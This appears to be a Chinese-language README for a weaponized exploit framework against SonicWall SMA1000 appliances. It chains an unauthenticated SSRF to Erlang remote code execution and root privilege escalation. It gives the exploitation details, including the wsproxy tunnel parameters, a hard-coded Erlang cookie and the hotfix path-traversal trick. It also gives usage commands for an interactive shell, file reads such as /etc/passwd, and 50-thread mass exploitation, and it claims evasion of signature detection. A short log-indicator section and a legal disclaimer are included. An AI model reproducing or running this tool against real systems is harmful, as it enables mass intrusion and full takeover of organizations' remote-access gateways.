针对SonicWall SMA1000的多漏洞利用框架,串联SSRF(CVE-2026-15409)到Erlang RCE及root权限提升(CVE-2026-15410)。具备交互式Shell、批量扫描、文件操作和针对授权渗透测试的安全检测模式。

漏洞利用框架与安全检测工具
仅限授权的安全测试使用。
此工具仅供教育和授权的渗透测试目的使用。
作者和贡献者对该软件造成的任何滥用或损害概不负责。用户有责任确保在测试前已获得目标所有者的明确书面许可。未经授权访问计算机系统违反《计算机欺诈和滥用法》(CFAA) 及全球类似法律,属违法行为。
使用本软件即表示您同意:
⚠️ 警告: 此漏洞已在野外被积极利用。未经授权使用可能导致严重的法律后果。
CVE-2026-15409 是 SonicWall SMA1000 设备 Work Place 界面中发现的一个严重未认证服务器端请求伪造 (SSRF) 漏洞。
工作原理:
wsproxy 端点建立隧道。os:cmd/1 调用实现远程代码执行 (RCE)。关键事实:
exploit.py)完全武器化的漏洞利用将 CVE-2026-15409 和 CVE-2026-15410 链接,以实现 root 级别的系统入侵。
| 特性 | 描述 |
|---|---|
| 🚀 SSRF → Erlang RPC | 自动通过 wsproxy 建立隧道以访问内部 Erlang 节点。 |
| 💻 远程代码执行 | 通过 os:cmd/1 执行任意操作系统命令。 |
| 🔐 交互式 Shell | 生成一个实时 shell,支持 privesc 和 download 命令。 |
| 👑 Root 权限提升 | 利用 CVE-2026-15410 通过 AMC 路径遍历提升至 root。 |
| 📁 文件操作 | 读取和写入目标系统上的文件。 |
| 🌐 批量扫描 | 通过多线程批量利用多个目标(-l 标志)。 |
| 🎯 SSRF 检测 | 可选的 --detect 标志,用于安全地进行漏洞验证。 |
| ⚙️ 可定制 | 可覆盖 WebSocket URL、Origin、User-Agent、Cookie 等。 |
| 🧩 无需额外依赖 | 仅使用 Python 标准库(检测功能可选 requests 库)。 |
| 🔌 原生 WebSocket 实现 | 无需外部 WebSocket 库 — 自定义套接字级握手,避免库特定签名指纹,提升 OPSEC。 |
pip(用于 requests 库)pip install -r requirements.txt
exploit.py 使用手动 WebSocket 实现 – 不需要 websockets 库。仅 --detect 功能需要 requests 库。exploit.py)# 目标上的交互式 shell
python exploit.py -u 192.168.1.100
# 执行单个命令
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# 读取文件
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# 在利用前启用 SSRF 检测
python exploit.py -u 192.168.1.100 --detect
# 尝试 root 权限提升
python exploit.py -u 192.168.1.100 --privesc
# 从文件批量利用(50 线程)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# 自定义端口和路径
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace
# 管道模式(从 stdin 读取命令)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
checker.py)# 单目标扫描
python checker.py https://192.168.1.100
# 自定义端口和路径
python checker.py 192.168.1.100 --port 8443 --path /workplace
# 从文件批量扫描
python checker.py --list targets.txt
| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| SMA 6210 | 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 12.5.0-02283, 12.5.0-02624, 12.5.0-02800 | 12.4.3-03453+ 12.5.0-02835+ |
| SMA 7210 | 同上 | 同上 |
| SMA 8200v | 同上 | 同上 |
⚠️ 重要: 这些漏洞不会影响 SonicWall 防火墙(SSL-VPN)或 SMA 100 系列。
443 端口上的 wsproxy 端点接受以 -3389 开头的 bmID 参数和 host:port 规范。通过将 host=127.0.0.1 和 port=1050,攻击者可以建立隧道进入内部 Erlang 分布式服务。
Erlang 节点使用硬编码的默认 cookie:10ecad5b446e86864832904cd439b6b70262。这允许远程身份验证并执行任意 os:cmd/1 调用。
一旦通过身份验证,该漏洞利用会向 /var/tmp/ 写入一个 shell 脚本,并通过路径遍历(../../../../var/tmp/script.sh)触发 AMC 的 remove_hotfix XML-RPC 端点,从而以 root 身份执行该脚本。
SonicWall 建议检查:
extraweb_access.log 中是否存在 /__api__/login 或 /__api__/logout(状态码 200)extraweb_access.log 中是否存在带有可疑 host 参数的 /wsproxy(状态码 101)ctrl-service.log 中是否存在带有路径遍历的 hotfix 回滚/var/lib/unit/conf.json 中是否包含指向 /__api__/login 或 /__api__/logout 的路由